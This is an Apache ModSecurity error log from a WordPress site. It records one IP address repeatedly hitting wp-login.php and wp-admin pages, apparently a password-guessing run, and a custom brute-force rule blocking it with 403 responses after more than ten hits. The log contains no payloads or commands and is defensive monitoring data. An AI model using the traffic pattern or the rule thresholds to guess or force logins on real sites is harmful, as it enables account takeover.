[Sat Feb 28 02:00:09.605443 2026] [:error] [pid 38586:tid 38605] [client 5.189.134.86:63081] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbqb_i6nvKNhjFW7ViQAAAARA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:09.605578 2026] [:error] [pid 38586:tid 38605] [client 5.189.134.86:63081] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbqb_i6nvKNhjFW7ViQAAAARA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:12.363597 2026] [:error] [pid 38586:tid 38607] [client 5.189.134.86:57533] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbrL_i6nvKNhjFW7ViTwAAARI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:13.735629 2026] [:error] [pid 38586:tid 38598] [client 5.189.134.86:57533] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbrb_i6nvKNhjFW7ViWAAAAQk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:15.169856 2026] [:error] [pid 38586:tid 38595] [client 5.189.134.86:57533] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbr7_i6nvKNhjFW7ViXwAAAQY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:16.423735 2026] [:error] [pid 38620:tid 38640] [client 5.189.134.86:57533] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbsAP6I7SRqrhh7RoxrgAAAVI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:17.682198 2026] [:error] [pid 38620:tid 38629] [client 5.189.134.86:57533] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbsQP6I7SRqrhh7RoxtwAAAUc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:18.927641 2026] [:error] [pid 38620:tid 38628] [client 5.189.134.86:60360] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbsgP6I7SRqrhh7RoxwgAAAUY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:20.180225 2026] [:error] [pid 15240:tid 15261] [client 5.189.134.86:50295] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbtC1iKL_41Rk9A9OOIAAAABM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:20.180315 2026] [:error] [pid 15240:tid 15261] [client 5.189.134.86:50295] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbtC1iKL_41Rk9A9OOIAAAABM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:21.297759 2026] [:error] [pid 15240:tid 15263] [client 5.189.134.86:55183] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbtS1iKL_41Rk9A9OOIwAAABU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:22.632385 2026] [:error] [pid 38620:tid 38643] [client 5.189.134.86:60305] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbtgP6I7SRqrhh7Rox1wAAAVU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:23.732812 2026] [:error] [pid 15100:tid 15171] [client 5.189.134.86:64521] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbt0OEbzcINan_ctLR5AAAAEs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:24.838633 2026] [:error] [pid 15240:tid 15254] [client 5.189.134.86:56267] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbuC1iKL_41Rk9A9OOLgAAAAw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:26.088052 2026] [:error] [pid 15099:tid 15151] [client 5.189.134.86:63575] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbuunvP2vtPjYDq_hBzAAAANI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:26.088144 2026] [:error] [pid 15099:tid 15151] [client 5.189.134.86:63575] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbuunvP2vtPjYDq_hBzAAAANI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:27.202672 2026] [:error] [pid 38620:tid 38629] [client 5.189.134.86:63045] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbuwP6I7SRqrhh7Rox7gAAAUc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:28.544962 2026] [:error] [pid 15098:tid 15118] [client 5.189.134.86:64356] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbvMkFqny8dQQbmTkupAAAAIw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:29.875564 2026] [:error] [pid 15098:tid 15113] [client 5.189.134.86:64356] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbvckFqny8dQQbmTkupQAAAIc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:31.133056 2026] [:error] [pid 15100:tid 15161] [client 5.189.134.86:58230] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbv0OEbzcINan_ctLR6wAAAEE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:32.463744 2026] [:error] [pid 38586:tid 38591] [client 5.189.134.86:60215] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbwL_i6nvKNhjFW7VigQAAAQI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:35.674627 2026] [:error] [pid 38586:tid 38594] [client 5.189.134.86:60215] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbw7_i6nvKNhjFW7VijwAAAQU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:37.285453 2026] [:error] [pid 38586:tid 38607] [client 5.189.134.86:60215] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbxb_i6nvKNhjFW7VilAAAARI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:38.722166 2026] [:error] [pid 38586:tid 38612] [client 5.189.134.86:60215] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHbxr_i6nvKNhjFW7VimQAAARc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:40.053915 2026] [:error] [pid 15240:tid 15253] [client 5.189.134.86:54063] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbyC1iKL_41Rk9A9OOQgAAAAs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:41.388231 2026] [:error] [pid 38586:tid 38594] [client 5.189.134.86:62224] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbyb_i6nvKNhjFW7VingAAAQU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:42.491557 2026] [:error] [pid 38620:tid 38630] [client 5.189.134.86:53828] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbygP6I7SRqrhh7RoyUgAAAUg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:43.596175 2026] [:error] [pid 15100:tid 15181] [client 5.189.134.86:59754] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHby0OEbzcINan_ctLSAAAAAFU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:43.596253 2026] [:error] [pid 15100:tid 15181] [client 5.189.134.86:59754] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 16"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHby0OEbzcINan_ctLSAAAAAFU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:45.207677 2026] [:error] [pid 38620:tid 38642] [client 5.189.134.86:55552] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbzQP6I7SRqrhh7RoyZAAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:46.465534 2026] [:error] [pid 38586:tid 38605] [client 5.189.134.86:64039] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbzr_i6nvKNhjFW7VisAAAARA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:47.804228 2026] [:error] [pid 38620:tid 38624] [client 5.189.134.86:62815] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbzwP6I7SRqrhh7RoydwAAAUI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:49.049812 2026] [:error] [pid 38586:tid 38591] [client 5.189.134.86:60649] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb0b_i6nvKNhjFW7VitAAAAQI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:49.049907 2026] [:error] [pid 38586:tid 38591] [client 5.189.134.86:60649] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 16"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb0b_i6nvKNhjFW7VitAAAAQI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:51.782576 2026] [:error] [pid 38586:tid 38601] [client 5.189.134.86:55030] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb07_i6nvKNhjFW7VivQAAAQw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:53.131813 2026] [:error] [pid 38586:tid 38600] [client 5.189.134.86:55030] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb1b_i6nvKNhjFW7ViwQAAAQs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:53.131888 2026] [:error] [pid 38586:tid 38600] [client 5.189.134.86:55030] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb1b_i6nvKNhjFW7ViwQAAAQs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:54.237527 2026] [:error] [pid 15240:tid 15248] [client 5.189.134.86:52990] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHb1i1iKL_41Rk9A9OOYAAAAAY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:55.494299 2026] [:error] [pid 15099:tid 15141] [client 5.189.134.86:49877] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHb1-nvP2vtPjYDq_hB7gAAAMg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:56.770990 2026] [:error] [pid 38620:tid 38627] [client 5.189.134.86:54529] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHb2AP6I7SRqrhh7RoyvAAAAUU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:58.122661 2026] [:error] [pid 15100:tid 15166] [client 5.189.134.86:62768] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHb2kOEbzcINan_ctLSKwAAAEY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:00:59.224297 2026] [:error] [pid 38620:tid 38639] [client 5.189.134.86:54992] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb2wP6I7SRqrhh7RoyzQAAAVE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:00.504784 2026] [:error] [pid 38620:tid 38640] [client 5.189.134.86:54992] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHb3AP6I7SRqrhh7Roy2AAAAVI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:01.616334 2026] [:error] [pid 38586:tid 38610] [client 5.189.134.86:54992] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHb3b_i6nvKNhjFW7Vi0AAAARU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:02.953267 2026] [:error] [pid 15100:tid 15183] [client 5.189.134.86:55260] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHb3kOEbzcINan_ctLSNQAAAFc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:04.228895 2026] [:error] [pid 15240:tid 15247] [client 5.189.134.86:63190] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHb4C1iKL_41Rk9A9OOfgAAAAU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:05.565106 2026] [:error] [pid 15240:tid 15260] [client 5.189.134.86:65146] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb4S1iKL_41Rk9A9OOhQAAABI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:08.854577 2026] [:error] [pid 15240:tid 15264] [client 5.189.134.86:65146] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb5C1iKL_41Rk9A9OOjgAAABY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:10.402292 2026] [:error] [pid 15240:tid 15243] [client 5.189.134.86:65146] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb5i1iKL_41Rk9A9OOkgAAAAE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:10.402359 2026] [:error] [pid 15240:tid 15243] [client 5.189.134.86:65146] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 16"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb5i1iKL_41Rk9A9OOkgAAAAE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:13.320794 2026] [:error] [pid 38620:tid 38632] [client 5.189.134.86:65146] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb6QP6I7SRqrhh7RozCQAAAUo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:14.738253 2026] [:error] [pid 38620:tid 38635] [client 5.189.134.86:65146] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb6gP6I7SRqrhh7RozEQAAAU0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:01:14.738329 2026] [:error] [pid 38620:tid 38635] [client 5.189.134.86:65146] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 17"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHb6gP6I7SRqrhh7RozEQAAAU0"], referer: https://gigfragments.org/wp-login.php
